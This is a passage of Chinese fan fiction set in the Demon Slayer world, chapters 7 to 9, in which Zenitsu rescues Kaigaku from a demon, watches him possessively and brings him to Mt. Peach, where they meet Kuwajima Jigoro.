狯岳注视着眼前的电闪雷鸣,以及那个不停挥刀斩击,将自己拼尽所有力气也没办法战胜的恶鬼砍个七零八落的人,那个在能将树木都拦腰斩断的风刃之间自在穿行的人,才意识到这个一直叫着他师兄的人有多么强大。
那个人的每一次攻击都那样轻松,但那刀锋扫过的地方,树木断裂、巨石破碎。这是狯岳从没见过的力量,然而这样的强大,却像是一把无形的大手般死死攥着他,在保护了他的同时也给了他浓重的窒息感。他双手抓着自己的脖子,像是下一击雷光就会窜到自己的身上,让他的脑袋滚下来;但他又知道,有这样强大的人保护,自己便不会再轻易死于遇见的恶鬼之手。
他扶上自己的脖子,便感受到一阵阵的刺痛感。那是恶鬼抓他脖子时留下的痕迹。狯岳感觉自己像是被架在了断头台上,今日死,或者明日死,他的脑袋总是留不住的。他时刻忧心着脑袋上的铡刀落下,颤抖着想要拼命逃离,然而只不过是将自己送到另一个更早落下的断头台之上。
狯岳又想起了恶鬼的话。难道自己就一定要死吗?
不行的,不行的,他要活着。神仙让他死,他偏不死,他要好好活着,他要比更多活着的人活得更好!
他看着眼前闪烁的雷光,以及那个在雷光中快到看不见身影的人。就跟着他好了,跟着这个在他的感觉中随时可能会杀死自己的人。狯岳暂时放下心中的战栗,用自己求生多年养成的直觉做出选择。他的感知在大声警报这个人绝对会砍下自己的脖子,但他的直觉却打包票。
直觉说,去吧、去吧,跟上他,他不会让你死的。他会给你你想要的。
于是狯岳下定了决心。
当那道风刃即将落到他身上时,还是那个像是闪电般迅捷的人将他从危险中带走,并直接杀死了那只恶鬼。
“师兄!!你没事吧?!!”
善逸根本没回头看那只被
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他杀死的下弦六,只将自己的师兄从地上捞起来,将师兄的身体紧紧搂在怀里,语气努力放轻,但压迫感依然如同阴云。他询问着:“师兄?今天有什么东西丢在了这里吗?怎么大晚上的跑到山上去了?”
被他搂得死死的狯岳没有言语。只是善逸突然感受到了师兄将他的脸蛋埋进了自己的颈窝中。侧脸看过去时,还能蹭到师兄毛茸茸的头发。
那只小猫师兄一改之前冲他哈气的神情,委委屈屈地凑到他身边,轻轻地蹭着他的脸。
感受到师兄别扭的道歉,我妻善逸内心汹涌的情绪总算被压了下去。那些个想将师兄锁起来的阴暗情绪像是退潮般退下,留下来的,是他发现师兄不见后的惊慌与恐惧。
善逸也将自己的脸蹭到了师兄的肩膀上,小声的呜咽起来:“呜呜呜真是吓死我了!!洗完澡就发现师兄不见了,急匆匆追上来,才发现师兄竟然被鬼掐在手里!!”
“吓死我了,呜哇~”善逸的声音越来越大,哭得鼻涕一把眼泪一把,将头埋在狯岳的胸膛之中,眼泪鼻涕都蹭在了师兄身上:“师兄差点就要死掉了呜呜呜!!而且那个鬼超强的!!是下弦鬼!!我差点也要死掉了!!”
“呜哇哇哇好可怕好可怕!!”善逸的哭喊声整个林子都能听见,一些被刚刚打斗的动静吓飞的鸟好不容易落回了树上,这下又被善逸的大嗓门给吓跑了。
“那可是下弦鬼!!要柱来吧!!只有柱才能打得过!!我只是个普普通通的剑士,为什么就要直接面对下弦鬼了啊!!”
“呜呜好可怕师兄!!好可怕!!我差点就要吓晕过去了!!还好想起来现在我不用晕过去也能用好呼吸法……呜呜呜……”
狯岳被近在身前的噪声吵得头皮发麻,鼓膜震动,差点就要被吵到耳鸣了。然而如今的他刚被恶鬼掐了脖子,声音嘶哑地开口试图打断:“别……吵……”
没想到,善逸听到他的声音,哭得更大声了:“呜呜师兄我对不起你!我居然没发现你自己跑掉了!!害你被鬼抓住受了这么重的伤!呜呜哇哇师兄!!你连说话的声音都发不出来了呜呜呜!!”
善逸一头撞在了自己的胸口,自己刚刚努力呼吸后烧灼的肺部一阵疼痛。狯岳差点被善逸给再次弄晕过去。发不出声音的他将自己的拳头举起,在善逸头上重重砸下:“说……了……!别……吵……!!”
善逸久违地被自己的师兄制裁,只能委委屈屈地放低音量小声啜泣:“呜呜呜……师兄好过分……连哭都不让人家哭……人家刚刚可是勇敢地从恶鬼手下救了你两回呢……还是从下弦鬼手中救的……”
狯岳在善逸怀中喘着气,听着他嘀咕着什么“师兄好过分”,什么“恶鬼超可怕的”,感觉自己脑袋疼。
这个人刚刚才斩杀了那样强大的恶鬼,现在又一副懦弱爱哭的样子,真是……
太割裂了!
看到我妻善逸现在的怂样,狯岳提不起一点对他的害怕,甚至很想扇这个往自己身上糊鼻涕眼泪的人一巴掌。
“你……哭够……了没!!”这个人又开始哭哭啼啼个没完,狯岳实在受不了,硬扯着嗓子喊出了话。
善逸从师兄的胸口处抬头,睁着满是泪水的眼睛去看师兄的眼色:“我还有点没哭够……”
“不许……哭了!!”
“咦!!!是!!”
7. 第七章
我妻善逸背着自己力竭的师兄,一步一步下了山。
回到旅店时,已经半夜十二点了。他们两个被店家堵了个正着。
店家揪着善逸穿浴衣出门的事情指责了很久,善逸只得一个劲地道歉,并将最后的两枚铜板也赔给了店家。
善逸背上的狯岳快要被善逸的窝囊表现看不过眼,在善逸将最后的铜板赔给店家时更是生气。在他看来,那些可都是他们两个的生存资源!
在决定要跟随我妻善逸的现在,狯岳不得不仔细打算两个人的生存物资。
在他跟随善逸的这两天,就发现我妻善逸在和别人的相处上非常的怯懦,又很容易相信别人。
这几天的两回卖肉,明明一回卖了三只兔子一回卖了两只,换来的钱却是一样多。根据狯岳的观察,两家店铺给的价格都要低于他们的收购价,只不过一家比另一家更心黑罢了。然而我妻善逸傻乎乎地就信了店家给的价格,甚至还不计较店家少给的铜板,拿着换来的钱乐呵呵地走。当时的狯岳只想着逃跑,冷眼看着善逸被人骗。
然而,既然要决定之后跟着善逸,那就不能任由善逸这样糊涂下去了。
狯岳下定了决心,打算等到自己嗓子好了能发生后,就和善逸谈谈。
经历过一番战斗后,他们二人再次来到澡堂。这一会的善逸死死地跟着狯岳,不留给他一点逃跑的空隙。
狯岳以为自己逃走这事会受到我妻善逸的惩罚,然而一路上善逸都没有开口。在他以为这件事暂且翻篇之时,又被善逸死死地睁着,一步不离地跟随着。善逸甚至想要和他进入同一个冲澡的单间!!
不要!变态!!离远点!!狯岳努力推着善逸想要凑上来的脸,张嘴却说不出一句话。
他被掐过的脖子还在热胀地疼痛,嗓子里像是被最粗糙的砂纸磨过,火辣辣的痛感让他发不出声。
“师兄?为什么想和我分开呢?你又想趁着我不注意一个人去哪里吗?”善逸幽幽的声音从背后传来。
狯岳正在推拒的手霎时间顿住,整个人像是被拎住后颈皮的小猫,只能乖乖地任由善逸揉圆搓扁。
我妻善逸拎着这样的师兄进了澡堂,在狯岳抗拒的眼神中和他贴在一起,凑在了一桶热水旁边。善逸从热水桶中舀出一瓢水,浇到了师兄身上。水流顺着狯岳脖子上狰狞的痕迹流下 ,善逸伸出手,手指在狯岳脖子上的掐痕处摩挲。
狯岳被脖子上的刺痛感觉激得微微后仰,想要错开,动作却被善逸的眼神制止住。
“疼吧?师兄?”善逸的语气轻极了。他将脸凑近了狯岳脖子上的掐痕,近距离去看师兄脖子上的痕迹。
狯岳洗澡的时候没有将他的勾玉取下来。在善逸的眼中,那圈在勾玉之上的被恶鬼掐出来的痕迹就像是穿着勾玉的红绳一般。
善逸仔细地看着那痕迹。像这样的红绳之上,怎么能没有勾玉呢?
善逸的手指划过师兄的脖颈,最后落在了脖子侧面的皮肤上。他轻声开口:“师兄,这样容易受伤,又这样喜欢从我身边逃跑。”
下回若是师兄再试图跑掉,他就要一口咬在师兄的脖子上,让他感受到痛好了。善逸想到自己在意识模糊时疯狂想要对师兄脖子下口的念头。不会给师兄带来大的伤害,只是在师兄脖子上留下一点痕迹,只是让师兄受到一点惩罚而已。
感受到自己手下的躯体开始发抖,善逸才反应过来,连声向自己的师兄道歉,并快速地将两个人都洗好。
回到房间的善逸笨手笨脚地从壁橱中扯出一床被子,阻止了师兄拿另一床的动作:“师兄,今天晚上和我一起睡觉哦~”
善逸不顾狯岳愣住的身形,自顾自地将床铺铺好,将师兄扯进了被窝中睡觉。
还好两个人都是小孩子,塞在一起也不会拥挤。善逸就这样拥抱着师兄,沉入了梦乡之中。
狯岳以为自己和这个小疯子一起会睡不着,然而两人今天的消耗都太大了,一碰着被子就如晕厥一般,根本没有别扭的余地,双双陷入了睡眠。
善逸的这一觉并不安稳。他在梦中拼命地追寻着自己师兄的背影,一直向前、一直向前,直到他抓住了师兄的胳膊。眼前的师兄转身,大大的上弦六出现在师兄的眼睛里,不屑地望着自己:“呦,废物!甩开你之后,变成鬼的我过得特别好啊~”
不可以!不可以!
善逸抓住师兄胳膊的手越来越用力,面目狰狞地望着眼前得意笑着的师兄,想要将那个身影扯回去,扯回到自己身边!!
“啪!”
面部传来肿胀的疼痛,善逸懵懵地睁开眼,眼前是愤怒的幼年版师兄的脸,以及师兄还没收回去的扇自己巴掌的手。
“师兄?你干嘛打我!!”善逸觉得自己委屈极了。在梦里被师兄欺负,在现实里还要被师兄欺负!他要闹了!!
狯岳头冒青筋地将自己另一只手举起来。他的那只胳膊被善逸的手抓得紧紧的,不走血的情况下已经快没有了知觉,半个手臂都红彤彤的。
狯岳要气死了。
一睁眼就被这个疯子给死死地抓着手臂,还像是八爪鱼一样将自己缠了起来。好不容易从他怀里挣扎出来,没想到这小子抓他手臂的力道越来越大,要将自己的手臂抓断一般,他拼命地摇晃都没办法将这个在梦里发疯的小子给晃醒,也没办法发声,一气之下用没被抓着的另一只手狠狠地朝那张可恶的脸上扇了过去!
总算这一巴掌有效果,让那个小疯子醒了过来。
啊,这样啊……
善逸讪讪松开抓着狯岳胳膊的手,那条手臂终于有松缓的余地。
“私密马赛!”善逸超大声道歉:“我不是故意的!师兄!!”
狯岳苦于自己不能说话,没办法大骂这家伙一顿。他按下头顶上的青筋,不管还在道歉的善逸,径直走去洗漱了。
结果没走出两步,手臂又被抓住。啊,这回的善逸专门换了另一只胳膊抓。
狯岳扭头,见到刚刚还一副怯懦样子的善逸死死地盯着自己:“呐,师兄,你不会再离开我了,对吧?”
狯岳被善逸的懦弱外皮蒙蔽后激起来的火气瞬间消弭,取而代之的是一股从脊背传来的发凉感觉,让他浑身都打了个寒颤。
他才发现,他竟然被善逸的外在表现欺骗,忘记了这个疯子的真实样子!
他是怎么敢在善逸脸上扇巴掌的?!
他甚至是在试图逃跑被善逸抓回来之后!还敢大胆地辱骂他!!
那一瞬间,狯岳的脸色发白,完全失了血色。
在被善逸从恶鬼手中救下后,他就被那个小疯子哭哭啼啼的样子给蒙蔽了,完全忘记了自己在善逸身上感到的危险感觉,忘记他斩杀恶鬼时的危险眼神。
被善逸死死盯着,想要逃离的念头甚嚣尘上,但理智告诉自己,不能跑!
狯岳浑身僵硬,甚至忘记了要回话这件事。
善逸盯着久久不回话的狯岳,歪了歪头:“不会离开的,对吧?”
“算了,这件事情怎么能听你嘴上的话呢?”善逸见到师兄的脸色煞白,心中的声音也在疯狂地尖叫。他半阖眼睛,
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将眼里的阴霾半隐下来:“师兄说话不算数,说好了要和我一起去找爷爷,结果我一不注意就逃走,还跑到了下弦鬼手里差点被杀掉……”
他似是又变成了那种嘟嘟囔囔的语气:“一看不到师兄就会落入危险,真是叫人不省心啊师兄!还一个人往外跑,万一被恶鬼吃掉了怎么办呢?不说爷爷,光我自己都要哭死了……”
狯岳在善逸的嘟囔中渐渐回复颜色,身体不再僵硬,脑子也能够重新转动,思考善逸口中的话。
“所以说,师兄,之后只能我一直跟着你了。”善逸看向缓过来的狯岳,用一种小声但是不容置疑的语气,对狯岳之后的人身自由下了死刑。
狯岳再次肌肉绷紧。他默默点头,默认了善逸抓住他的手,将自己的自由献出以安抚生气的我妻善逸。
两人很快收拾好了自己,在店家的白眼中走出了旅店的大门。
两人昨天都消耗许多,在旅店里吃的那份晚饭也早早在晚上的战斗中消耗一空。等到他们出旅店的时候,肚子已经在打鸣了。
善逸摸了摸自己空空的口袋,一分钱也没有了,最后的两个铜板都赔给了店家。
“我好饿啊,师兄……”善逸牵着自家师兄的胳膊哀嚎:“早知道昨天晚上在山里弄点能换钱的东西就好了……”
狯岳早上还被善逸的眼神恐吓住,现在看到善逸的模样,又开始想要翻白眼了。他掏了套自己的口袋,将自己藏起来的包袱掏了出来,从里面掏出了两个果干,塞到了善逸嘴里:“……吃……这个……”
善逸嚼嚼,边吃边说:“欸师兄你还藏有果干吗?真好吃!!”善逸说话声音不小,嘴里咀嚼的东西难免随着话语喷溅出来到嘴边,狯岳忍不住朝着他翻白眼。
要不是说不出话,狯岳真的很想将这个小子臭骂一顿!
只要不是试图离开这个小疯子,那些冒犯的语言与行动他都不是很在意。这是狯岳观察善逸得出的结论。很巧,狯岳也没了打算离开善逸的想法,在自己的霉运光环之下,有个高武力的同伴保护,自己能过得更好一点。
所以现在只要他能忍受这个小疯子时时刻刻都要黏上来的行为,他就不会被这个小疯子给杀掉。
狯岳的行为也就没有了顾及,对于这个小疯子身上自己看不过眼的事,他打算直接骂出来。
只不过现在的他还没办法开口,只能用肢体语言表达对这个小子的鄙夷。
既然决定要和这个小子一起生活,狯岳咬牙,将自己积攒的生存物资也拿了出来。
狯岳死死瞪着我妻善逸,又从怀中掏出来一个果干,撕成小块塞到自己嘴里。
善逸吃完就继续眼巴巴地看着师兄:“师兄,我还没吃饱。”
狯岳深呼吸,从包裹中掏出自己积攒的钱塞了一些到善逸手中:“不许……乱……花……!!”
最后两人的早饭是购买的饭团,他们还去买了些盐,打算到中午时在山林中抓鱼烤着吃。
两人告别小镇,再次踏上了前往桃山的路。
他们走后不久,一队拿着日轮刀的鬼杀队剑士就来到了这个小镇。
他们跟随昨晚山林中的响动而来,也发现了打斗的痕迹。
他们收集周边的痕迹,又到城镇之中询问居民,将所有的情报汇总,穿到了鬼杀队当主产屋敷耀哉面前。
此时的产屋敷耀哉还非常年轻,他看着信中描述的语言,结合之前那片山林的情报,喃喃道:“没见过的鬼杀队剑士,杀死了下弦鬼吗……”
“他想要干什么呢……”
8. 第八章
善逸并不知道自己被鬼杀队的当主注意到了,此时他正在和师兄一起翻山越岭。
只要穿过这一大片的山林,就能够到达桃山脚下。
善逸带着师兄再次来到山林之中。他本想一路背着师兄赶路,却被狯岳拒绝。
加上善逸并不畏惧夜晚赶路,他当鬼杀队剑士时也没少走夜路。
所以,两人并不像上回那样着急忙慌,走走停停,慢悠悠地向着桃山方向走去。
狯岳的双腿还是非常酸痛,但这并不影响自己的行动。他四处流浪生存时受过的苦痛比这疼得多,他的身体为了活下去,自愈能力也提高了很多。
他跟随着我妻善逸的脚步,观察着他的呼吸节奏,脑海中确是想起自己面对恶鬼时那一瞬间的呼吸变化。
当时的他已经没有了力气,但在危急关头,改变的呼吸让他突然又有能力从恶鬼的眼下拿上斧头,砍伤恶鬼的后背。
虽然之后肺部火辣辣的疼,但是若能够掌握这一技巧,他就可以在一些时候救自己一命。
当时的恶鬼因为这个误以为他是什么鬼杀队剑士,后来又说善逸才是真正的鬼杀队成员。所以,眼前这个人的奇怪呼吸节奏,大概就是那所谓的鬼杀队剑士所能掌握的招式吧。
他跟着善逸的节奏,也逐渐调整了自己的呼吸。每一次呼吸都运用到自己肺部的所有肺泡,加快呼吸节奏,体内的血液流速也同时加快,运输着大量氧气的血液快速流变全身……
在这种呼吸之下,狯岳的全身肌肉再次发热,腿上的酸痛逐渐减轻,跨越山林时也逐渐游刃有余起来。
善逸注意到了狯岳呼吸节奏的转变。他没有打扰师兄的练习,也对此见怪不怪。
他的师兄,可是能够学会雷之呼吸二到六型的雷呼继承人,是爷爷优秀的弟子,是他一直仰望的存在,能够跟随他的呼吸,自己参透全集中呼吸,不是很正常的事吗?
只不过他也没想到师兄能这么早就开始修炼呼吸法!真不愧是爷爷认可的弟子!小小年纪就开始努力了!
善逸想起上辈子师兄每日刻苦练习的背影,一股紧迫感涌上心头。万一师兄超过了自己,他岂不是又要被师兄甩开了!!
善逸想象着师兄逃离自己的监视之后出门遇到鬼,被鬼再次变成那副狰狞的样子……不可以!!
善逸的脸色也逐渐变得难看起来。他没有忘记,自己昨天杀掉的下弦鬼也要将自己的师兄变成鬼呢!!
你们这些鬼怎么偏盯着别人家的师兄抢啊!!我说不养了吗?!!
善逸咬牙切齿,他的呼吸节奏也变得更快,一下打断了跟着他呼吸的狯岳的节奏。
“呼……呼……”
狯岳拽着善逸停了下来。他的节奏被打断,身体的状态就没办法跟随善逸快速地奔跑了。
两个人就近休息,刚好也到了中午的时间。
山林中丰富的食材不会饿着两个少年郎。善逸和狯岳都不缺少寻找食材的经验,他们下河抓鱼,顺便采了一些可以使用的蘑菇,将它们清理干净,穿在削好的木签上,抹上在城镇中购买的盐,生火烤熟,解决了午餐。
善逸眼巴巴地看着师兄手中烤的恰到好处的鱼,又低头看到自己焦糊的烤鱼,可怜兮兮。
狯岳闭眼,无语地将两人手中的烤鱼交换了一下。
善逸高高兴兴地吃师兄烤制出来的美味:“师兄!好吃!呜呜呜太好吃了!”
狯岳听着善逸的嚎叫,将手中焦糊的烤鱼塞到嘴里。
yue,真难吃。狯岳将自己嘴中像是柴一样的烤鱼勉强咽到胃里。
连简单的烤鱼都烤不好!废物!!
狯岳恨恨地再次咬上了手中的鱼。
yue!
那之后善逸又从师兄手中交换到了美味的烤蘑菇,并将自己手中的食材全部交给了师兄。
“好好吃!师兄好厉害!!”善逸头上冒起了小花花,边吃边扭来扭去,鼻孔中都冒出了幸福的热气。
狯岳对善逸的蠢样感到无语。他吃完那条被善逸烤出来的鱼,感觉这条鱼要是在天有灵都要下来扇善逸两巴掌。
狯岳全权接过了做饭的工作,不让善逸再祸害任意一点食材。等到两人都吃好,狯岳用动作朝着揉着肚子的我妻善逸比划,问询呼吸节奏的事情。
“你是说呼吸法吗?”
吃饱喝足的善逸思考起该如何和师兄讲解呼吸法。
“呼吸法,怎么说呢……”善逸使劲挠头,回想当初爷爷跟他讲解时的说法:“通过极致的呼吸让血液中充满空气,从而使力量爆发性增长,最大限度地发挥身体中的力量这样。”
“除了最基础的呼吸法,在发挥出最大力量之后,使用呼吸法的剑士会根据自己的力量创造出呼吸法招式,也就是‘型’。”
“鬼杀队的剑士就是利用自己的呼吸法来杀鬼的。”善逸拿出自己的日轮刀:“还有就是依靠日轮刀!”
善逸开始碎碎念:“那些鬼杀队的剑士简直都恐怖到可怕!!超可怕的剑法!超级恐怖的铁头!甚至还有野猪!还有那些柱们!根本不是正常人!‘唰’的一下就将下弦鬼杀掉了!好可怕好可怕好可怕……”
狯岳打断善逸越说越远的话,继续在他眼前比比划划。
“呼吸法怎么练习?”善逸辨认出了狯岳比划的意思,“这个就算你问我我也没办法啊。”善逸直接摆烂:“师兄现在已经初步掌握了呼吸法的入门,比我当时厉害得多!这种事情去问爷爷比问我好的多吧?”
狯岳再次听到了那个他们要去找的“爷爷”。他继续向善逸提问。
“爷爷啊!爷爷他超级厉害的!!”提到这个善逸的眼睛闪闪发光:“爷爷是鬼杀队的前任鸣柱哦!!超厉害!会雷之呼吸的所有型!超厉害!!”
“他从鸣柱的位置退下来之后来当鬼杀队剑士的培育师了,虽然一只腿断掉了也超级厉害!可以轻易地把我从各个地方拉回训练场!!超厉害!!”
狯岳听着善逸每句话后面都跟着的“超厉害”,冲着善逸翻了个白眼的同时,心中也开始期待见到这位被我妻善逸连声称赞的“爷爷”来。
善逸滔滔不绝地夸赞着爷爷桑岛慈悟郎,同时用眼神余光望向自家师兄的身影。
他还记得在桃山时,被师兄砸桃子,说自己在桃山上就是浪费如此厉害的老师的时间。
当时的师兄,对于培育他的桑岛爷爷,是真心的推崇且爱戴。
到底是为什么会变成之后的样子呢?对培育自己的爷爷恶语相向,完全不在意与爷爷相处的时光,为了否认爷爷将自己与师弟共同认定为继承人的决定,甚至变成了鬼。
善逸的眼中闪过一丝暗芒。不管是因为什么,这一次,他不会让这种事情再次发生。
“……所以说啊!爷爷就是最厉害的!”
好的好的,厉害厉害。狯岳已经要被善逸的一长串夸赞语言听到耳朵起茧,他甚至有点后悔向善逸问起这个问题了。
在这样的夸赞声中,狯岳不免也对接下来的行程起了一点期待。
如果见到那位厉害的前任鸣柱先生,他是不是也可以偷偷学习一点招式保命呢?
他知道那些武家的招式都是不外传的,他就偷偷学习一点,哪怕被发现之后被赶出去,也能让他之后面对其他妖魔鬼怪时有更多的底气了。
毕竟,按照他的运气,那些东西他早晚要遇上的。
狯岳神游中,决定了自己无论如何都要从那位厉害的爷爷身上偷下来点功法。
两人休息好,继续翻山越岭,向着桃山跑去。一路走走停停,终于,两天后的中午,他们终于来到了桃山脚下的镇子里。
来到小镇中的两人找到一个有屋檐遮挡太阳的地方坐下,拿出上一
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次吃饭时多准备的烤鱼,包开外层包裹的叶片,狼吞虎咽地吃了起来。
两天多的休息,终于让狯岳勉强说得出话来,只不过声音依旧沙哑:“已经到桃山山脚了,我们直接上山吗?”
善逸摇头,嚼着口中的鱼肉含糊说:“不行,我们要让爷爷将我们捡上去才行。”
“哈??”狯岳不可置信地望向大口吃饭的我妻善逸:“你是忘带家里钥匙的糊涂小孩吗?为什么不能自己上山找你爷爷啊??”
“什么我爷爷,他也是你师父。”善逸声音含糊。
狯岳嘴角抽抽。好家伙,差点忘记这小子脑子不正常了,师父、师兄、师弟,设定还挺完整的。
他有点不耐烦地问:“那我们怎么办?”
“师兄放心。”善逸总算将鱼吃完了,他擦掉嘴上的残渣:“我有办法!”
狯岳眼见着善逸整理了一下自己的衣服,然后冲着路过他们的独行女子就冲了上去,一把抱住了人家的腿:“求求你了!请和我结婚!!”
“呀啊!!!”那位好好走在路上的女孩被突然冲上来抱着他腿的陌生人吓了一跳,恐惧的女孩发出了尖锐的叫声。
狯岳简直要被善逸的举动给吓死了!!他三两步就冲上去拽住我妻善逸的头发:“你干嘛!!!疯子!!松开别人!!”
“请和我结婚!!!”
善逸依然不管不顾地闭眼大喊,最后是狯岳将他的手掰开,将女孩从桎梏中放走。
狯岳想转头和哪位女孩道歉,结果只见到了女孩转头尖叫着飞快跑开的身影。
“你干嘛!!你不想活了吗?!!”狯岳快被我妻善逸给气疯了,他死死地拽着善逸的黄头发:“到时候被人追着打怎么办!!”
狯岳记得那些没有权势的登徒子,最后都被受害者家属给乱棍打死了!
“这就是我想到的被爷爷捡走的办法啊!!”善逸顶着被师兄揪得疼得要死的头发继续说:“这样,然后被骗钱,之后被欠债的追着打,之后就会被爷爷捡走了!!”
他上辈子就是这样被爷爷捡到桃山上的!爷爷甚至帮他还了债!
狯岳深深吸气,脑袋上的青筋欢快地跳着。他简直不敢相信自己听到了什么:“你和你的爷爷!!不认识吗?!!他不是你亲爷爷吗?!!”
“当然不认识啊。我是孤儿。”善逸用一种“这也用问”的眼神看着他:“不然我直接上山就好了,还用思考怎么让爷爷将我们捡上山吗。”
狯岳觉得自己要一口气上不来气死了:“那你还叫别人‘爷爷’!还千里迢迢地感到桃山来!!”
“还有!!你这什么天才主意!!蠢货!!白痴!!”狯岳要晕过去了:“脑子里进水就不要继续转了好吗!!”
有一瞬间,狯岳甚至忘记了善逸给他的压迫感。感觉善逸吃枣药丸的他甚至想就这样一走了之。
狯岳掐住自己的人中让自己的大脑勉强清醒,他拽住善逸的胳膊拉着他就要跑:“总而言之我们先离开这个地方……”
“父亲!!就是他们!!!”
刚刚那个被善逸抓住的女孩指着正准备逃跑的他们两个,身后是三个人高马大的大汉,拿着棍子凶神恶煞地盯着面前这两个骚扰他女儿的小鬼:“就是你们在大街上骚扰我女儿是吧!!”说罢,举着长棍就向他们身上打来!!
“咿呀!!来了来了!!”善逸转身将师兄扛在身上:“虽然被那么凶的人追着打超恐怖!但是为了让爷爷捡走我们!呜呜呜师兄我们要逃跑了!!”
“我没有骚扰别人!!你个废物把我放下来!”狯岳被善逸的肩膀压着肚子,胃部一阵翻滚,感觉自己没死在恶鬼手里要死在这个死变态的肩膀之上了!
“但是师兄他们也在追你啊!!万一师兄被打死了怎么办!!太可怕了呜呜呜爷爷快来救我们!!你的徒弟们要被打死了!!”
9. 第九章
桑岛慈悟郎今早起来,照常观看了在自己这里修行的剑士们的日常练习。
虽说他从鸣柱的位置上退下来,成为了鬼杀队的培育师,但由于雷之呼吸对于身体对雷电的适应性要求颇高,不像是水之呼吸那样能够让鬼杀队的剑士们广泛修习,所以尽管很多的剑士都来过他这里修行,他一直没有找到能够继承他衣钵,将雷之呼吸传承下去的继承人。
在巡视一圈,纠正了部分剑士的错误姿势之后,破天荒地,桑岛慈悟郎突然想要下一趟山。
可能是鬼杀队主公昨天给他传来的信上描述的那个陌生的鬼杀队队士让他十分在意吧。桑岛慈悟郎想,那样的实力,那样的战斗痕迹,还出现在了桃山附近的城镇之中。万一自己能够遇上呢?
桑岛老爷子将各位剑士的练习安排好,就抛下一山的剑士,溜溜达达地下了山。
刚到达山脚城镇中,正打算找个地方坐一下,问一问镇上的人有没看见穿黄色羽织的小孩时,一道黄色的身影从他眼前蹿了过去,扯着一道黑色的身影,背后还追着三个拿着棍子的大汉。
这时候的狯岳已经通过友好协商(拽头发威胁)让善逸将自己放了下来。然而已经将他们两个当成一伙的的受害者家属根本不管狯岳喊的话,像是撵鸡一样将两个人在镇子里撵得团团转。
善逸的速度本就不慢,此刻身后有人追,他跑得更快了;被善逸扯着袖子的狯岳也只得跟上善逸的速度,甚至还用上了他只摸到了一点门路的呼吸方法。
两个人向风一样从桑岛慈悟郎眼前转过两三圈,而桑岛慈悟郎经过辨认,发现绕着镇子跑的两道旋风中有一个就是那个情报之中穿黄色羽织的剑士。
直到狯岳实在跑不动了,他扯着善逸的袖子停下,身后追他们两个跑得飞快的小鬼而累得不行的三位大汉也气喘嘘嘘地停了下来。
“你们……两个……快快受死……!!”
“说了……我……没有……”
“实在抱歉!!非常抱歉!!”
双方终于停下追逐,此时的桑岛慈悟郎也走了上去:“你们在干什么?”
!!!善逸的眼睛闪闪发光:爷爷!!
狯岳也闻声看去,说话的人是一个矮小的老头,花白的头发和胡子,左眼之下有一道疤痕,拄着拐棍,穿着和善逸很像的黄绿色鳞纹衣服,右侧裤腿中伸出的是假肢。
这就是……善逸口中那个爷爷了吧。
镇里的居民也认识这个桃山的主人。在桑岛慈悟郎的调解之下,那三个拿着棍子的大汉总算是放过了善逸二人。
走之前,最前面的那位大汉还狠狠地瞪了两人一眼:“哼!别让我再看见你们干坏事!”
随后气哼哼地走了。
“咿呀!好可怕!!”善逸缩了缩脖子,将自己藏在狯岳的身后。
狯岳已经不想再吐槽了。等到大汉离开,松了力气的狯岳径直倒了下去。
“呀!!师!!兄!!!”
被这一声大嗓门的叫喊吓到,两边树上的鸟扑簌簌地飞走。
善逸捧着晕倒的师兄眼泪盈满眼眶,QAQ地看着刚刚帮他们解围的桑岛慈悟郎。
桑岛慈悟郎上去查看了下狯岳的情况,确认这个黑衣服小孩只是跑太快太久力竭了才晕倒过去。
既然已经帮忙,本着帮人帮到底的心态,再加上眼前这个正趴在师兄身上嗷嗷哭的小孩正是他想要寻找的匿名杀鬼剑士,桑岛慈悟郎向小镇上熟悉的店家要了两杯水让两个小孩缓缓状态的同时,也不动声色地向善逸打听两个人的情况。
他观察了两个人的情况。晕倒的那位黑衣服小孩还正常,眼前这个哭哭啼啼的黄发小子,身上的鬼杀队队服非常不合身,衣服松松垮垮,只靠着腰间的腰带才勉强穿在身上;外穿一件明黄色鳞纹羽织,小腿上的绑腿是和羽织一样的纹路,就连脚上的鞋都大了不止一圈,非常不合脚。
这很奇怪。
如果说在这个年头家中贫穷的小孩身上衣服大些算是正常,但是小孩脚上穿着的草屐也大就很不对劲了。
像是脚上的鞋子,不合脚很容易掉,加上小孩的运动量大,对合脚鞋子的需求也更大。草屐不是很贵重的鞋,一般的家庭中,还是会根据孩子脚的大小购买制作的。
但是这个小孩的全身装扮都很大,像是将大人的一整套装扮搬到了自己身上一般。
加上小孩脸上的裂纹,并不是日常活动能造成的伤口。
以及,那个小孩藏在羽织下面的,那把白金刀鞘的刀。
处处都说明了这个小孩的不寻常。
这个刚刚见到他就眼睛亮亮地看他的小孩很没有戒心,不管问什么都回答。在桑岛慈悟郎的有心询问之下,很快就打听清楚了两个小孩的状况。
根据善逸所说,他们两师兄弟一路从离桃山两三个镇的地方翻山越岭走来,都是无家可归的流浪儿,两个人相依为命才活到现在。
善逸将水喂到了师兄的嘴里,没一会,狯岳就醒了过来。
醒来的狯岳与好骗的善逸完全不一样,一睁眼就用警惕的眼神看着自己,让桑岛慈悟郎安心了不少。
还好还好,不是两个好骗的小傻子,还是有人有戒心的。
狯岳对这个莫名帮了他们孩用一种欣慰的眼神看着自己的老爷爷很疑惑。他看了眼旁边的我妻善逸,开始怀疑是不是善逸欺骗了自己。
难道这个老爷爷真得是善逸的爷爷?不然怎么对他们两个这么热情。
旁边的善逸笑得傻乎乎的,也看不出有什么异常。
不能指望我妻善逸,狯岳带着戒备地看向桑岛慈悟郎,对这位帮助他们的老爷爷硬邦邦地感谢,随后就打算带着善逸撤离。
毕竟他才知道善逸根本没见过这位他嘴上吹出花来的前任鸣柱!万一是那种会把小孩子骗走拐卖的人贩子怎么办!!
旁边两个人公认的小傻子、好骗的我妻善逸还满脸欣喜地对狯岳讲话:“爷爷知道我们无家可归,还邀请我们去他家吃饭呢!!太好了!师兄!”
!!!好熟悉的话术!
桑岛慈悟郎眼看着那个刚醒来的小孩看着他的目光越来越警惕,不得不开口解释:“我是鬼杀队的培育师桑岛慈悟郎,也是这座桃山的主人。看我妻少年的打扮,你们应该知道鬼杀队吧?”
狯岳眼神转向我妻善逸。善逸冲着他点点头。
算了,看在这个傻子的武力值的面子上,再相信他一回。
于是,狯岳转身,恭恭敬敬地对桑岛慈悟郎鞠躬:“麻烦您了。”<
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虽说狯岳已经醒来,但是快速的奔跑还是使他的双腿酸痛。但是他被善逸的肩扛式运人法搞怕了,于是在师兄的再三拒绝下,善逸只得选择老老实实地搀扶着师兄,两个小孩子跟在桑岛慈悟郎身后爬上了桃山。
